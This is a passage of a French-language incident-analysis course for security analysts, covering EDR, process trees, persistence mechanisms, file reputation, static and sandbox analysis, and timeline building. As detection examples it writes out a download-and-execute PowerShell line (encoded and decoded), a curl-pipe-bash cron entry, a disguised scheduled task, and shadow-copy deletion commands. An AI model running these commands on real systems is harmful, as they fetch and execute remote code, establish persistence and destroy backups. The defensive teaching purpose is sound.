  • Préserve le message original et travaille avec des copies neutralisées des indicateurs.
  • Décode séparément les couches d’URL et reconnais les paramètres qui identifient le destinataire.
  • Protège les pièces jointes confidentielles et les URL personnalisées contre les soumissions publiques.
  • Détermine le périmètre de la campagne à l’aide des champs des messages, des empreintes et des URL.
  • Distingue la remise du message, l’interaction et la compromission qui peut suivre.
3

Analyse l’activité des terminaux avec l’EDR

Les enregistrements des terminaux expliquent quel programme est à l’origine d’un fichier, d’une connexion ou d’une modification de paramètre. Tu suivras l’ascendance des processus, examineras les arguments des commandes et repéreras les déclencheurs qui permettent à un attaquant de revenir. Windows, Linux et macOS laissent des artefacts différents, mais l’investigation pose les mêmes questions pratiques : qu’est-ce qui a changé, qui en est à l’origine, était-ce autorisé et quels autres hôtes présentent la même activité ?

3.1 Utilise l’EDR et la télémétrie des terminaux

La télémétrie des terminaux relie les preuves réseau et les fichiers au programme qui en est à l’origine. L’EDR enregistre l’activité des terminaux, détecte les comportements suspects et permet l’investigation et la réponse à distance. Son historique peut révéler une activité que l’état actuel d’un fichier ne montre plus.

Choisis la bonne source

L’antivirus traditionnel se concentre sur le blocage des fichiers connus comme malveillants. L’EDR ajoute l’historique des processus, fichiers, registres, connexions et ouvertures de session. Le XDR rassemble les preuves provenant des terminaux et des sources réseau, de messagerie, d’identité et du cloud. Le MDM gère les téléphones et les tablettes : son inventaire et ses enregistrements de conformité peuvent révéler des applications non approuvées, un accès root ou un débridage, et il permet des actions comme le verrouillage ou l’effacement d’appareils.

Les événements du journal de sécurité Windows fournissent des repères utiles :

ÉvénementActivité
4688Un processus a été créé ; l’inclusion de la ligne de commande exige une stratégie distincte.
4624Une ouverture de session a réussi.
4698Une tâche planifiée a été créée, lorsque l’audit requis est activé.
4697Un service a été installé.
4720Un compte utilisateur a été créé.

L’événement système 7045 enregistre aussi l’installation d’un service. Windows stocke les événements dans des fichiers .evtx qui peuvent être exportés pour des recherches structurées. Sous Linux, utilise auditd, les journaux d’authentification et le journal système.

Utilise l’identité de processus de Sysmon

Sysmon est disponible comme fonctionnalité facultative intégrée à Windows 11 et Windows Server 2025 et comme téléchargement Sysinternals pour les autres systèmes. L’événement 1 enregistre la création d’un processus avec la ligne de commande complète, le parent, les empreintes et un GUID de processus. Ce GUID distingue les différents processus même lorsque le système d’exploitation réutilise un PID.

Les autres événements utiles sont 3 pour les connexions réseau, 11 pour la création de fichier, 12–14 pour les modifications du registre et 22 pour les requêtes DNS. L’événement 3 est désactivé par défaut, car il peut générer un volume important. Vérifie la configuration active avant d’interpréter l’absence d’un événement comme une absence d’activité.

Pars d’une alerte pour poursuivre l’investigation

Commence par l’hôte, l’utilisateur, la détection et l’arbre des processus. Identifie ce qui a lancé le processus, ce que celui-ci a lancé et les fichiers, valeurs de registre et destinations qu’il a utilisés. Étends la chronologie avant et après l’alerte ; l’horodatage d’une détection ne correspond pas nécessairement au début de l’intrusion.

Pars d’une empreinte pour trouver tous les hôtes qui possèdent ce fichier, ou d’une destination pour trouver tous ceux qui l’ont contactée. La prévalence apporte du contexte : un programme inconnu sur un hôte parmi 5 000 est inhabituel, tandis qu’un logiciel présent sur tous les hôtes peut être déployé de façon standard. Compare les deux cas aux logiciels approuvés et aux comportements attendus ; une activité malveillante étendue peut elle aussi avoir une prévalence élevée.

Ordonne les actions de réponse et vérifie la visibilité

L’EDR peut isoler un hôte, arrêter un processus, mettre en quarantaine ou recueillir un fichier, bloquer une empreinte et ouvrir une session d’investigation à chaud. L’isolement conserve normalement la connexion de gestion tout en restreignant les autres accès réseau. Suis le scénario de réponse et recueille les preuves nécessaires avant les actions qui détruisent la mémoire des processus ou modifient les fichiers.

Vérifie l’état de fonctionnement du capteur lorsque la console semble silencieuse : installation, transmissions récentes, configuration et signes d’altération. Un agent arrêté crée une lacune de visibilité et peut lui-même faire partie de l’intrusion.

Points clés

  • L’EDR fournit un historique des terminaux et des moyens de réponse ; le XDR relie les sources ; le MDM gère les appareils mobiles.
  • Confirme la configuration de l’audit et du capteur avant de tirer des conclusions d’événements manquants.
  • Utilise les GUID de processus pour distinguer les instances de processus malgré la réutilisation des PID.
  • Poursuis l’investigation à travers les arbres des processus, les chronologies des hôtes, les empreintes et les destinations.
  • Recueille les preuves nécessaires et vérifie l’état des capteurs lorsque tu prends des décisions de réponse.

3.2 Analyse les processus et les lignes de commande

Le nom d’un processus n’est qu’un champ parmi d’autres dans une investigation. Vérifie ensemble le chemin de son exécutable, son parent, son utilisateur, sa ligne de commande, sa signature et son empreinte. Conserve le PID avec son heure de démarrage, ou utilise un GUID de processus, pour éviter de relier différents processus ayant réutilisé le même PID.

Compare le nom, le chemin et le parent

Un svchost.exe normal s’exécute depuis C:\Windows\System32, est lancé par services.exe et possède normalement un argument de groupe -k. lsass.exe s’exécute depuis le même répertoire système en une seule instance, lancée par wininit.exe ; services.exe a aussi ce parent. Explorer s’exécute normalement pour chaque utilisateur connecté et son parent userinit.exe se termine. L’absence d’un parent encore actif pour Explorer doit donc être interprétée autrement que le lancement d’un processus système par Word.

Un nom très proche comme scvhost.exe, un nom système dans C:\Users\Public ou un parent inhabituel pour LSASS suggère un camouflage. Office qui lance un interpréteur de commandes est une autre piste sérieuse : suis WINWORD.EXE ou EXCEL.EXE jusqu’à cmd.exe, PowerShell, wscript.exe ou mshta.exe. Sur un serveur Web, w3wp.exe qui lance un interpréteur de commandes suggère un web shell.

Lis ce qu’on demande aux outils signés

Les LOLBins sont des programmes système légitimes détournés par un attaquant. certutil.exe peut télécharger un fichier avec -urlcache -split -f ; mshta.exe peut exécuter une application HTML depuis une URL ; rundll32.exe et regsvr32.exe peuvent exécuter du code de DLL ou de script. bitsadmin.exe peut transférer des fichiers et wmic process call create lance des processus. Leurs signatures valides indiquent les éditeurs des programmes, tandis que le parent et les arguments révèlent leur utilisation dans ce cas.

Les options PowerShell comme -nop, -w hidden, -ExecutionPolicy Bypass et -enc méritent un examen attentif. IEX exécute du texte comme du code ; iwr et DownloadString récupèrent du contenu. La journalisation des blocs de script, événement 4104, peut révéler le contenu décodé des scripts.

Décode avant de juger

PowerShell -EncodedCommand utilise du texte UTF-16LE encodé en Base64. Pour -enc aQB3AHIAIABoAHQAdABwADoALwAvADEAOQA4AC4ANQAxAC4AMQAwADAALgA3AC8AYQAuAHAAcwAxACAAfAAgAGkAZQB4AA==, applique From Base64 dans CyberChef, puis Decode text réglé sur UTF-16LE. Le résultat est :

iwr http://198.51.100.7/a.ps1 | iex

iwr récupère le script et le pipeline le transmet à iex pour exécution. Cela permet d’exécuter du code sans enregistrer le script téléchargé dans un fichier. Des lettres séparées par des octets nuls après le décodage Base64 indiquent qu’il manque l’interprétation UTF-16LE.

Retrace une chaîne de processus dans l’ordre : Outlook ouvre invoice.docm dans Word ; Word lance un interpréteur de commandes ; PowerShell contacte le serveur et écrit upd.exe ; le nouvel exécutable démarre son propre trafic. Relie chaque étape aux événements enregistrés. Un agent de déploiement signé peut aussi utiliser du PowerShell encodé pour une installation approuvée : examine donc le contenu décodé et l’autorisation.

Sous Linux, examine les exécutables dans /tmp ou /dev/shm, curl transmis à bash par un pipeline, un interpréteur de commandes redirigé vers un socket distant ou /proc/<pid>/exe marqué « (deleted) ». Un processus utilisateur nommé [kworker/0:1] est suspect s’il possède un exécutable sur disque : les vrais fils d’exécution du noyau descendent de kthreadd, PID 2, et n’ont pas de fichier exécutable.

Points clés

  • Évalue l’identité complète et l’activité du processus, notamment son chemin, son parent et ses arguments.
  • Compare les noms des processus système aux chemins et parents attendus.
  • Un outil système signé peut effectuer une action commandée par un attaquant.
  • Décode PowerShell en Base64 puis en UTF-16LE et examine la commande obtenue.
  • Suis l’ascendance des processus jusqu’aux téléchargements, créations de fichiers et connexions ultérieures.
  • Utilise les chemins des exécutables Linux et leurs parents pour vérifier les noms trompeurs de processus.

3.3 Repère les mécanismes de persistance

La persistance donne à un attaquant un moyen de retrouver une capacité d’exécution ou un accès après des interruptions comme une fermeture de session ou un redémarrage. Un hôte peut contenir plusieurs mécanismes, chacun doté d’un déclencheur distinct. Consigne l’emplacement, la cible, les horodatages et l’empreinte du fichier avant de supprimer une entrée.

Examine les emplacements de démarrage automatique sous Windows

Les clés Run sous HKCU\Software\Microsoft\Windows\CurrentVersion s’appliquent à l’utilisateur actuel ; celui-ci peut les modifier sans droits d’administrateur. La clé Run HKLM correspondante s’applique à tous les utilisateurs et exige des droits élevés pour être modifiée. RunOnce permet une exécution unique ; HKLM RunOnce s’exécute lorsqu’un administrateur ouvre une session après un redémarrage. Les entrées Run se déclenchent à l’ouverture de session, pas lorsqu’un fichier est copié sur le disque.

Les dossiers de démarrage lancent aussi du contenu à l’ouverture de session. Vérifie le dossier AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup de l’utilisateur et le dossier partagé C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. Les événements de registre Sysmon 12–14 et l’événement de fichier 11 aident à dater ces modifications.

Les tâches planifiées peuvent se déclencher à intervalles réguliers, à une heure donnée ou lors d’un événement :

schtasks /create /sc minute /mo 30 /tn "GoogleUpdateTaskCore" /tr "C:\Users\Public\upd.exe"

Cette commande exécute la cible toutes les 30 minutes, soit 48 fois par jour. Le nom rassurant de la tâche n’identifie pas l’éditeur de la cible. Examine l’événement de sécurité 4698 lorsque l’audit est activé, le journal opérationnel du Planificateur de tâches et les définitions sous C:\Windows\System32\Tasks.

Les services peuvent démarrer au lancement du système, souvent en tant que SYSTEM. Examine l’événement système 7045 ou l’événement de sécurité 4697 et le chemin d’image configuré. Un nouveau service qui se lance depuis un dossier public ou exécute PowerShell mérite de l’attention.

Les abonnements aux événements WMI relient un filtre d’événement à une action de consommateur et peuvent assurer la persistance sans fichier de démarrage ; Sysmon 19–21 enregistre leurs composants et leur liaison. Examine aussi les nouveaux comptes et les appartenances au groupe des administrateurs, les fichiers du serveur Web, les extensions de navigateur et les DLL inattendues chargées par détournement de l’ordre de recherche.

Vérifie Linux et macOS

Sous Linux, examine crontab -l pour chaque utilisateur, /etc/crontab, /etc/cron.d/, les fichiers d’unité systemd dans /etc/systemd/system/, les fichiers de démarrage de l’interpréteur de commandes et ~/.ssh/authorized_keys. Répertorie les unités avec systemctl list-unit-files. macOS utilise des LaunchAgents et des LaunchDaemons avec des définitions sous forme de listes de propriétés ; vérifie leurs programmes et déclencheurs configurés.

Dans une crontab utilisateur, */10 * * * * curl -s http://198.51.100.7/s.sh | bash télécharge et exécute un script toutes les 10 minutes. Les champs indiquent la minute, l’heure, le jour du mois, le mois et le jour de la semaine. Une nouvelle clé SSH crée une autre voie d’accès, même après une réinitialisation du mot de passe.

Compare et relie les constats

Autoruns rassemble de nombreux emplacements de démarrage automatique Windows dans une même vue. Masquer les éditeurs de confiance peut réduire le nombre d’entrées lors d’un premier passage, mais réexamine les entrées signées lorsque d’autres preuves les mettent en cause. Compare avec un hôte sain issu de la même image et avec la référence de fonctionnement approuvée.

Par exemple, une valeur Run appelée OneDriveUpdate pointe vers un fichier odu.exe non signé dans le profil itinérant d’un utilisateur. Les heures de création du fichier et de la valeur de registre sont 9 h 15 UTC, une minute après l’exécution d’une macro suspecte. Cette concordance temporelle et le chemin de la cible relient l’entrée de démarrage automatique à l’intrusion. Continue à examiner les autres emplacements après l’avoir trouvée : une tâche planifiée ou un service pourrait restaurer la même charge utile.

Points clés

  • Identifie le déclencheur et la cible de chaque entrée de persistance.
  • Vérifie les clés Run, les dossiers de démarrage, les tâches, les services et les abonnements WMI sous Windows.
  • Vérifie cron, systemd, les fichiers de démarrage de l’interpréteur de commandes et les clés SSH sous Linux, ainsi que les éléments de lancement macOS.
  • Compare les entrées à une référence connue comme saine et à la chronologie de l’infection.
  • Consigne chaque mécanisme avant sa suppression et poursuis les recherches après le premier constat.

3.4 Repère les modifications des fichiers, des logiciels et de la configuration d’un hôte

Un hôte compromis présente des modifications au-delà de son arbre des processus. Recherche les nouveaux fichiers et logiciels, les paramètres de sécurité affaiblis, l’utilisation inhabituelle des ressources et les fichiers rassemblés en vue d’un transfert. Compare ces éléments au rôle de l’hôte et à l’ordre des événements.

Lis les modifications des fichiers et leur provenance

Les programmes et scripts dans C:\Users\Public, %TEMP%, %APPDATA% ou /tmp méritent de l’attention lorsqu’ils sont inattendus. Une double extension comme invoice.pdf.exe cache le rôle réel du fichier. Des renommages massifs, de nouvelles extensions et des demandes de rançon dans de nombreux dossiers constituent un schéma de rançongiciel bien plus probant qu’un seul fichier inconnu.

Les dates des fichiers peuvent être manipulées. L’événement Sysmon 2 enregistre les modifications de l’heure de création d’un fichier, appelées falsification des horodatages. Compare l’historique des événements à la date visible avant de conclure qu’un fichier d’apparence ancienne est antérieur à l’incident.

Windows ajoute souvent le flux de données alternatif Zone.Identifier aux téléchargements provenant d’Internet. Cette marque du Web peut contenir l’URL source, tandis que l’événement Sysmon 15 peut enregistrer la création du flux. Préserve le flux avec le fichier lors de sa collecte ; les méthodes de copie ou d’extraction peuvent le supprimer, si bien que son absence seule constitue une preuve faible de l’origine.

Recherche les défenses affaiblies

Les modifications à examiner comprennent la désactivation de la protection en temps réel, de nouvelles exclusions antivirus, des règles de pare-feu entrantes, l’activation récente de RDP, de nouveaux administrateurs locaux et la réduction des paramètres d’audit. L’événement de sécurité 1102 enregistre l’effacement du journal d’audit de sécurité. Mets ces modifications en corrélation avec l’utilisateur ou le processus responsable et les opérations de maintenance approuvées.

Des commandes comme vssadmin delete shadows /all /quiet suppriment les copies instantanées de volumes, et wbadmin delete catalog supprime le catalogue de sauvegarde. Les attaquants les utilisent pour entraver le rétablissement avant le chiffrement par rançongiciel. Leur apparition exige une escalade immédiate selon le scénario de réponse, pendant que l’équipe vérifie l’activité des processus et des fichiers autour de ces commandes.

Compare les logiciels et l’utilisation des ressources

Un logiciel d’assistance à distance signé peut tout de même fournir un accès non autorisé. Compare l’inventaire EDR ou MDM à la liste approuvée et aux enregistrements de déploiement. Examine les outils d’extraction d’identifiants, les scanneurs ou les outils de transfert cloud comme rclone sur un hôte qui n’a pas de besoin approuvé de les utiliser.

Un logiciel de minage peut pousser l’utilisation du processeur ou du processeur graphique près de 100 % et contacter un groupe de minage, parfois à l’aide d’une adresse stratum+tcp://. Une utilisation élevée se produit aussi dans des charges de travail légitimes : relie donc la charge à un processus et à une destination. Un disque qui se remplit, un épuisement de la mémoire et des plantages répétés de services peuvent indiquer une collecte de données ou une exploitation qui échoue.

Relie la préparation des données au trafic sortant

La préparation des données avant exfiltration consiste à rassembler des éléments avant leur exfiltration. De grandes archives .7z ou .rar dans un dossier public ou temporaire, une protection par mot de passe et des parties d’archive de taille égale sont des pistes utiles. Identifie le processus qui les a créées, les fichiers rassemblés et l’heure de l’opération.

Si un processus non approuvé crée des parties d’archive puis envoie un transfert volumineux, cette séquence relie la préparation au transfert. Les données de flux mesurent le trafic, mais ne peuvent pas révéler le contenu des archives. Utilise les preuves relatives aux processus et aux accès aux fichiers pour déterminer ce qui a été rassemblé ; la taille de l’archive seule ne permet pas d’établir quels enregistrements ont quitté l’organisation.

Points clés

  • Compare les fichiers suspects à leur historique de création enregistré, sans te limiter aux dates visibles.
  • Examine les modifications de sécurité, l’effacement des journaux et les actions qui entravent le rétablissement.
  • Vérifie l’approbation des logiciels, même lorsqu’un outil d’accès à distance est signé.
  • Relie la consommation de ressources et les artefacts de préparation des données à un processus responsable.
4

Analyse les fichiers suspects et leur réputation

Un fichier suspect peut être vérifié sous plusieurs angles avant que son rôle soit clair. Tu identifieras son contenu, interpréteras sa réputation en contexte, examineras les chaînes de caractères et la structure, puis observeras une exécution contrôlée dans un bac à sable. Ces méthodes fournissent différents types de preuves : une signature ou une importation suggère une origine ou une capacité, tandis qu’une exécution enregistrée montre un comportement. Ensemble, elles orientent la recherche suivante sur les systèmes touchés.

4.1 Vérifie la réputation des fichiers, des empreintes, des domaines et des adresses IP

La réputation ajoute un contexte extérieur aux preuves locales. Elle peut permettre d’identifier un fichier connu, de révéler un domaine récemment enregistré ou de montrer des signalements d’abus récents. L’ancienneté du résultat, ses conséquences pour la confidentialité et son lien avec cet hôte comptent autant que son score.

Identifie le fichier exact

Une empreinte cryptographique donne au contenu d’un fichier un identifiant de longueur fixe. MD5 utilise 32 caractères hexadécimaux, SHA-1 en utilise 40 et SHA-256 en utilise 64. Des attaques par collision réalisables affaiblissent MD5 et SHA-1 : utilise donc SHA-256 pour identifier les preuves.

Get-FileHash .\file.exe -Algorithm SHA256
certutil -hashfile file.exe SHA256

Sous Linux, utilise sha256sum file. La modification d’un seul octet change radicalement l’empreinte : les débuts des empreintes SHA-256 de « invoice » et « Invoice » sont 52d6e3de4fa0dcc2 et b832002da297545f. Un attaquant peut recompiler une charge utile ou y ajouter du remplissage pour échapper à une recherche d’empreinte exacte. Les empreintes floues comme ssdeep comparent la similarité ; imphash regroupe les fichiers PE selon leurs importations.

Interprète un rapport de réputation

VirusTotal combine plusieurs moteurs, relations et rapports d’analyse. Un résultat de 58/72 signifie qu’environ 81 % des moteurs ont signalé le fichier ; 3/72 signifie environ 4 %. Un faible nombre peut correspondre à une fausse alerte ou à une nouvelle menace. Lis les noms des détections, la première soumission, les noms de fichier observés, la signature et l’infrastructure contactée en tenant compte du rapport. Zéro détection laisse ouverte la question du comportement.

La recherche d’une empreinte évite d’envoyer le contenu du fichier, mais révèle l’empreinte qui t’intéresse. Si le service possède déjà le fichier, l’empreinte peut l’identifier. Les téléversements partagent l’échantillon réel et peuvent l’exposer aux abonnés ou à un attaquant qui surveille les soumissions. Vérifie d’abord l’empreinte ; conserve les contenus confidentiels dans des systèmes privés d’analyse approuvés.

Une signature valide renforce la confiance dans l’origine, mais le vol de certificats et le détournement d’outils système signés restent possibles. Vérifie à la fois la validité de la signature et la correspondance entre le signataire et le produit annoncé. Évalue ensuite la commande ou le comportement observé du fichier.

Lis le contexte des domaines et des adresses IP

Les données d’enregistrement peuvent révéler le bureau d’enregistrement et la date de création, même lorsque les coordonnées du titulaire sont masquées. RDAP est le protocole faisant autorité pour les données d’enregistrement des domaines génériques de premier niveau depuis la transition de janvier 2025 ; les outils peuvent encore appeler leur vue « WHOIS ». Un domaine créé deux jours avant une campagne d’hameçonnage est un signal d’alerte utile. Le DNS passif ajoute les anciennes associations d’adresses et la transparence des certificats les noms figurant sur les certificats émis.

AbuseIPDB regroupe les signalements d’abus concernant les adresses IP. Vérifie les dates et le service signalé : une adresse IP du cloud peut avoir changé de client. GeoIP fournit une localisation approximative de l’infrastructure, pas une localisation fiable de la personne derrière un VPN, Tor ou un service cloud. L’hébergement partagé et les réseaux de diffusion de contenu rendent aussi les blocages étendus d’adresses IP perturbateurs.

Privilégie les preuves qui résistent aux changements

La pyramide de la douleur classe les empreintes, les adresses IP, les domaines, les artefacts sur les hôtes et le réseau, les outils et les techniques de l’attaquant selon la difficulté croissante qu’il rencontre pour les modifier. Les empreintes exactes sont faciles à remplacer. Une détection de Word lançant un programme de téléchargement et établissant une persistance peut rester utile après le changement de l’empreinte du fichier et de la destination. Conserve les indicateurs de courte durée avec des dates de révision ou d’expiration, tout en consignant le comportement qui les a produits.

Points clés

  • Utilise SHA-256 pour identifier les fichiers exacts et reconnais qu’un fichier modifié possède une nouvelle empreinte.
  • Interprète les rapports de détection avec le comportement, les dates, les signatures et les relations.
  • La recherche d’une empreinte révèle ton intérêt ; le téléversement d’un fichier révèle l’échantillon lui-même.
  • Vérifie en contexte l’ancienneté de l’enregistrement, le DNS passif et les signalements IP récents.
  • GeoIP localise approximativement l’infrastructure et les adresses IP partagées exigent un traitement prudent.
  • Les détections comportementales résistent aux changements qui mettent en échec le blocage d’empreintes ou d’adresses IP.

4.2 Effectue une analyse statique élémentaire

L’analyse statique examine un fichier sans l’exécuter. Elle aide à identifier ce qu’est réellement le fichier, les capacités qu’il peut contenir et ce qu’un bac à sable doit surveiller. Distingue les indices de capacité des comportements effectivement observés.

Identifie le type et le contenu lisible

Les extensions sont faciles à modifier. Examine les octets magiques avec file, une visionneuse hexadécimale ou l’opération Detect File Type de CyberChef :

Premiers octetsFormat probable
4D 5A, ou MZFamille des exécutables Windows
25 50 44 46, ou %PDFPDF
50 4B 03 04, ou PKZIP, y compris les conteneurs Office récents
7F 45 4C 46Exécutable ELF Linux

Une pièce jointe appelée invoice.pdf qui commence par MZ se fait passer pour un document. Confirme la structure, car une courte signature seule ne constitue qu’une première vérification du type.

GNU strings -a file.exe extrait le texte ASCII dans tout le fichier. strings -a -e l file.exe extrait le texte UTF-16LE, courant dans les programmes Windows. FLOSS et Strings de Sysinternals peuvent aider à couvrir les deux. Recherche les domaines, URL, commandes, chemins de registre, noms de fichiers et messages d’erreur. Le texte extrait peut être inutilisé ou trompeur : conserve donc son emplacement et confronte-le aux comportements observés par la suite.

Lis les indices de structure et de compression

Un exécutable PE possède des en-têtes, des sections comme .text, .data et .rsrc, ainsi qu’une table d’importation des fonctions qu’il demande. VirtualAllocEx, WriteProcessMemory et CreateRemoteThread ensemble suggèrent une possible injection de code. URLDownloadToFile et InternetOpenUrl suggèrent une capacité de téléchargement. Un horodatage de compilation peut être falsifié et doit être corroboré.

Les packers compressent ou chiffrent le code et le décompressent en mémoire. Peu de chaînes, une courte liste d’importations, des sections UPX0/UPX1 et une entropie élevée suggèrent une compression par un packer. L’entropie approche 8 bits par octet pour des données d’apparence très aléatoire, mais des ressources compressées et des programmes d’installation ordinaires peuvent présenter les mêmes caractéristiques. La compression change la manière de mener l’investigation ; elle ne suffit pas à conclure.

Décode le texte et teste une correspondance

Les recettes CyberChef peuvent combiner Base64, hexadécimal, XOR, décompression et décodage d’URL. Applique les opérations dans l’ordre nécessaire au contenu. Une expression régulière comme \b(?:\d{1,3}\.){3}\d{1,3}\b extrait du texte ressemblant à une adresse IPv4, mais correspond aussi à 999.1.1.1 : valide donc les résultats possibles.

Une règle YARA peut combiner des caractéristiques indépendantes :

rule Suspicious_Downloader
{
    strings:
        $mz = { 4D 5A }
        $a = "DownloadString" ascii wide
        $b = "198.51.100.7"
    condition:
        $mz at 0 and $a and $b
}

Le fichier doit commencer par MZ et contenir les deux chaînes ; ascii wide accepte la chaîne de téléchargement dans l’une ou l’autre représentation. Teste la règle sur des fichiers connus comme sains pour mesurer les correspondances accidentelles. Une correspondance établit que les conditions de la règle sont remplies ; l’examen de l’analyste permet de déterminer ce qu’elles signifient.

Pour les documents, extrais les macros avec olevba. Pour les scripts, supprime l’encodage ou l’obfuscation sous forme de texte. Utilise les fonctions, arguments et indicateurs obtenus pour configurer et interpréter l’analyse dynamique.

Points clés

  • Identifie le type réel d’un fichier à partir de sa structure et de ses octets, au-delà de son extension.
  • Extrais les chaînes ASCII et UTF-16LE lors de l’examen d’échantillons Windows.
  • Utilise les importations et les indicateurs de compression pour formuler des hypothèses vérifiables sur les capacités.
  • Valide les indicateurs décodés et les correspondances des expressions régulières.
  • Lis chaque condition YARA et teste les règles sur des contenus connus comme sains.

4.3 Effectue et interprète une analyse en bac à sable

L’analyse dynamique exécute un échantillon dans un environnement contrôlé et enregistre ses actions. Un bac à sable peut révéler le comportement caché par la compression ou le contenu actif d’un document. Son rapport décrit cette exécution avec cette configuration ; vérifie si l’échantillon disposait de ce dont il avait besoin pour agir.

Configure une exécution utile

Utilise un environnement isolé et instrumenté comme Joe Sandbox, Cuckoo ou un bac à sable interactif. Sépare-le de la production, contrôle son accès réseau et réinitialise-le à un instantané sain après chaque exécution. Les services réseau peuvent être simulés avec INetSim ou FakeNet, ou acheminés par une infrastructure d’analyse approuvée. Garde les échantillons confidentiels dans des systèmes privés.

Choisis le système d’exploitation et les applications adaptés à la cible. Un document à macros nécessite l’environnement Office correspondant ; une archive peut nécessiter son mot de passe ; un programme peut exiger des arguments, des clics, un parent particulier ou un redémarrage. Consigne ces paramètres et la durée d’exécution pour qu’un autre analyste puisse interpréter le résultat.

Lis les actions derrière le score

Examine l’arbre des processus, les modifications de fichiers et du registre, l’activité DNS et HTTP, les connexions, les captures d’écran et les empreintes des fichiers déposés. Un rapport peut aussi montrer des mutex et des correspondances ATT&CK. Un mutex coordonne l’accès exclusif à une ressource ; un logiciel malveillant utilise parfois un nom de mutex distinctif pour éviter d’exécuter deux copies. Les logiciels légitimes utilisent aussi des mutex.

Prenons l’exécution d’un document qui produit la chaîne Word → PowerShell masqué et encodé, une recherche de cdn-update.example.net, une requête HTTP GET pour /a.ps1, C:\Users\Public\upd.exe et une entrée Run pointant vers ce fichier. Recueille le domaine, l’adresse IP, l’URL, l’empreinte du fichier déposé, le chemin et la valeur Run. PowerShell étaye la correspondance avec T1059.001 et l’entrée Run celle avec T1547.001. La transmission par pièce jointe d’hameçonnage nécessite des preuves distinctes issues du courriel pour T1566.001.

Relie les affirmations du rapport aux événements enregistrés. Un score global élevé aide à hiérarchiser un échantillon, mais les actions des processus expliquent ce qui s’est passé et quels indicateurs sont utiles dans ton environnement.

Examine un échantillon inactif

Un logiciel malveillant peut rester en veille au-delà de la période d’observation, détecter le matériel virtuel, examiner les ressources mémoire ou processeur, attendre des clics ou exiger une langue ou un emplacement particulier. Un téléchargement qui échoue peut aussi empêcher l’étape suivante de s’exécuter. Vérifie à nouveau les dépendances et les résultats statiques avant de considérer une exécution inactive comme rassurante.

Choisis une nouvelle exécution qui teste une explication concrète : prolonge la durée pour tester une attente, fournis l’application ou les arguments requis, ajoute une interaction ou utilise un autre profil de système d’exploitation. Consigne les modifications. Si une incertitude importante subsiste, transmets l’échantillon à un spécialiste de la rétro-ingénierie.

Réutilise les résultats dans le dossier

Recherche les domaines, chemins, empreintes et comportements pertinents dans les enregistrements DNS, du proxy, du pare-feu et de l’EDR. Les mises à jour Windows, vérifications de certificats et tests de connectivité d’un bac à sable sont des activités de fond ; distingue-les des actions provoquées par l’échantillon avant de bloquer des destinations.

Un bac à sable peut fournir des pistes de recherche pour d’autres hôtes, mais son exécution isolée ne permet pas d’établir quels hôtes de production ont été infectés. Fais correspondre les pistes aux événements locaux et à l’historique des processus, puis préserve ces enregistrements avec le rapport et l’empreinte de l’échantillon.

Points clés

  • Adapte les dépendances, les arguments, les interactions et la durée du bac à sable à l’échantillon.
  • Examine les actions enregistrées et les artefacts déposés derrière le score global.
  • Associe l’exécution et la persistance observées aux techniques correspondantes, séparément des preuves de transmission.
  • Teste des raisons précises de l’inactivité et combine les résultats dynamiques et statiques.
  • Écarte le trafic de fond avant d’utiliser les indicateurs du bac à sable dans les recherches en production.
5

Mets en corrélation les éléments de preuve et détermine si l’activité est malveillante

Un dossier défendable relie les enregistrements sans perdre leur source ni exagérer leur portée. Tu aligneras les fuseaux horaires et les identités, distingueras les observations des hypothèses et décriras les comportements étayés à l’aide d’ATT&CK. La conclusion finale combine les autorisations, les preuves techniques et l’impact métier. Des notes claires, des références aux preuves et des enregistrements de traçabilité rendent ce jugement utile aux intervenants qui le reçoivent.

5.1 Mets en corrélation les éléments de preuve pour établir une chronologie

La corrélation relie les enregistrements pour produire un récit de l’incident qu’un autre analyste peut vérifier. Le courriel peut établir la transmission, la télémétrie du terminal peut établir l’exécution et les preuves réseau peuvent établir la communication. Une chronologie utile distingue ces observations des liens de causalité que tu vérifies encore.

Normalise les heures et les identités

Convertis les heures en UTC et conserve le fuseau d’origine ainsi que tout décalage d’horloge connu. Une heure EDR de 11:14:31 en UTC+2 correspond à 09:14:31 UTC. Confirme si la console ou l’export a converti les horodatages UTC d’origine d’un capteur. Une dérive de l’horloge malgré NTP peut laisser plusieurs minutes d’écart entre les sources, même après conversion des fuseaux horaires.

Choisis des champs de liaison qui identifient le même objet à ce moment-là : hôte, utilisateur, empreinte, URL, domaine, Message-ID, uid Zeek ou GUID de processus. Un PID nécessite une heure de démarrage, car il peut être réutilisé. Une adresse IP nécessite l’historique DHCP ou VPN, car un bail ultérieur peut l’attribuer à un autre hôte. Conserve chaque enregistrement source ou référence de requête à côté de l’entrée de chronologie.

Construis la chaîne des événements observés

Pour un dossier, les preuves en UTC sont les suivantes :

  • 09:12:05 : un message contenant invoice.docm arrive dans 40 boîtes aux lettres.
  • 09:14:10 : l’utilisateur sur WS-0423 ouvre la pièce jointe.
  • 09:14:31 : Word lance du PowerShell encodé.
  • 09:14:32–33 : DNS résout le nom de l’hôte de téléchargement et une requête HTTP GET demande /a.ps1.
  • 09:15:02 : upd.exe est écrit et une valeur Run est créée.
  • À partir de 09:20:00 : les connexions se répètent toutes les 300 secondes.
  • La nuit suivante, de 2 h 10 à 2 h 50 : 2,4 Go sont envoyés vers la même adresse IP.

Les preuves relatives aux processus et aux fichiers étayent les liens d’exécution et de persistance. Le transfert volumineux nécessite une attribution supplémentaire : le partage d’une adresse IP avec un trafic antérieur est moins probant que le partage d’une même instance de processus et d’un même canal applicatif.

Associe uniquement ce que les preuves étayent

MITRE ATT&CK fournit des noms standard pour les comportements. Le message étaye la technique de la pièce jointe d’hameçonnage ciblé, T1566.001 ; PowerShell étaye T1059.001 ; l’entrée Run étaye T1547.001. L’association du trafic périodique à une commande et un contrôle par protocole Web, T1071.001, nécessite des preuves de HTTP ou HTTPS. L’association du transfert à une exfiltration par ce canal C2, T1041, nécessite des preuves que le même processus et le même canal l’ont transporté.

ATT&CK n’est pas une séquence imposée. La découverte, l’accès aux identifiants et le déplacement latéral sont des recherches complémentaires possibles, pas des étapes manquantes à insérer nécessairement dans la chronologie.

Utilise les lacunes pour choisir la prochaine requête

Si le transfert dépasse le volume des propres fichiers de l’utilisateur, cherche si le processus a lu des partages, généré des données, répété des transferts ou coïncidé avec du trafic légitime. Trouve l’expéditeur et le contenu transféré lorsqu’ils sont disponibles. Consigne un événement inexpliqué comme tel au lieu de le faire entrer de force dans la première hypothèse.

